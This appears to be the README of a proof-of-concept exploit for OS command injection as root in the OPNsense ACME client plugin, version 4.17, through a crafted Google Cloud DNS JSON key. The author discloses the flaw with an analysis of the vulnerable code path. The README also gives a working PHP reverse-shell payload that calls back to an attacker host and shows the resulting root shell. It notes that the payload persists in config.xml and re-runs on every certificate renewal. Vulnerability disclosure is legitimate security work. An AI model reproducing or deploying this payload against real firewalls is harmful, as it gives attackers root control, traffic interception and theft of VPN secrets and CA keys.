
OS command injection as root via Google Cloud DNS challenge key
[!WARNING] DISCLAIMER This proof-of-concept is provided for educational and authorized security testing purposes only. Use it only against systems you own or have explicit written permission to test. The author assumes no liability for any misuse or damage caused by this software. Unauthorized access to computer systems is a criminal offense in most jurisdictions.
OPNsense os-acme-client 4.17 - OS Command Injection as root via Google Cloud DNS challenge key.
Since I discovered this vulnerability, I would like to include my PoC for it.
This proof-of-concept is provided for educational and authorized security testing purposes only. The author assumes no liability for any misuse or damage.
The ACME Client plugin takes two values from the operator-supplied Google Cloud service account
JSON key and interpolates them into shell commands without escaping or validation.
project_id and client_email are read from the dns_gcloud_key model field (a plain
TextField, no validation — AcmeClient.xml:740) and end up inside two
gcloud config set ... calls in LeValidation/DnsGcloud.php (lines 81-82).
LeUtils::run_shell_command() feeds the resulting string straight to proc_open(),
i.e. /bin/sh -c. Every comparable call site in the plugin goes through the safe helper
LeUtils::execSafe() — these two statements are the only exception.
The certificate issuance chain runs as root:
WebUI/API "Issue certificate"
└─ configd action [sign-cert]:
/usr/sbin/daemon -f /usr/local/opnsense/scripts/OPNsense/AcmeClient/lecert.php (root)
└─ LeCertificate::issue()
└─ LeValidation\DnsGcloud::prepare() <-- injection fires here,
before any Google / ACME traffic
The injected command runs before any DNS-01 validation happens, so a fake JSON key is
enough: no Google account, no valid domain. The payload stays in config.xml and runs
again on every certificate auto-renewal (cron).
os-acme-client 4.17 - confirmed (root shell obtained)os-google-cloud-sdk plugin must be installed (otherwise prepare() exits before the injection)DnsGcloud.php (present since ≤ 2021)Any authenticated webGUI user with access to the ACME Client plugin pages (page ACL, not necessarily a full admin) can run arbitrary commands as root on the firewall: rewrite firewall rules, intercept traffic, extract VPN secrets, CA keys and config.xml.
Two cases worth noting:
os-google-cloud-sdk is already installed — no firmware or SSH privileges required.config.xml and runs again
on each certificate auto-renewal.Target: 192.168.56.2 — OPNsense CE 26.7 (VirtualBox lab), plugins os-acme-client 4.17 +
os-google-cloud-sdk 1.0_1, WebGUI on HTTPS.
project_id:
{"type":"service_account",
"project_id":"poc; php -r '$s=fsockopen(\"192.168.56.1\",4444);proc_open(\"/bin/sh -i\",array(0=>$s,1=>$s,2=>$s),$p);' >/dev/null 2>&1 & #",
"client_email":"[email protected]"}
POST /api/acmeclient/certificates/sign/<uuid>).DnsGcloud::prepare() executes the injected php -r as root and connects back:$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [192.168.56.1] from (UNKNOWN) [192.168.56.2] 52979
sh: can't access tty; job control turned off
# id
uid=0(root) gid=0(wheel) groups=0(wheel)
# hostname
OPNsense.internal
# opnsense-version
OPNsense 26.7 (amd64)
The plugin log confirms the order of events — the injection fires during validation preparation, before the ACME order is even created:
13:32:33 Registered <- ACME account registered
13:33:12 Using CA ... Creating domain key <- issue() started
[ payload executed HERE as root ]
13:33:24 Error creating new order ... "poc" needs at least one dot <- irrelevant to the exploit
The full exploit is implemented in PoC.py - interactive, no arguments. It performs the
steps above over the webGUI API, starts nc -lvnp on its own and waits for the shell.
PHP is used for the payload because it is always present on OPNsense (FreeBSD nc has no -e).
The created ACME objects are left in place on purpose: the payload survives in config.xml
and re-fires on auto-renewal.

MIT — see LICENSE.
cppghoul
For educational and authorized security testing only.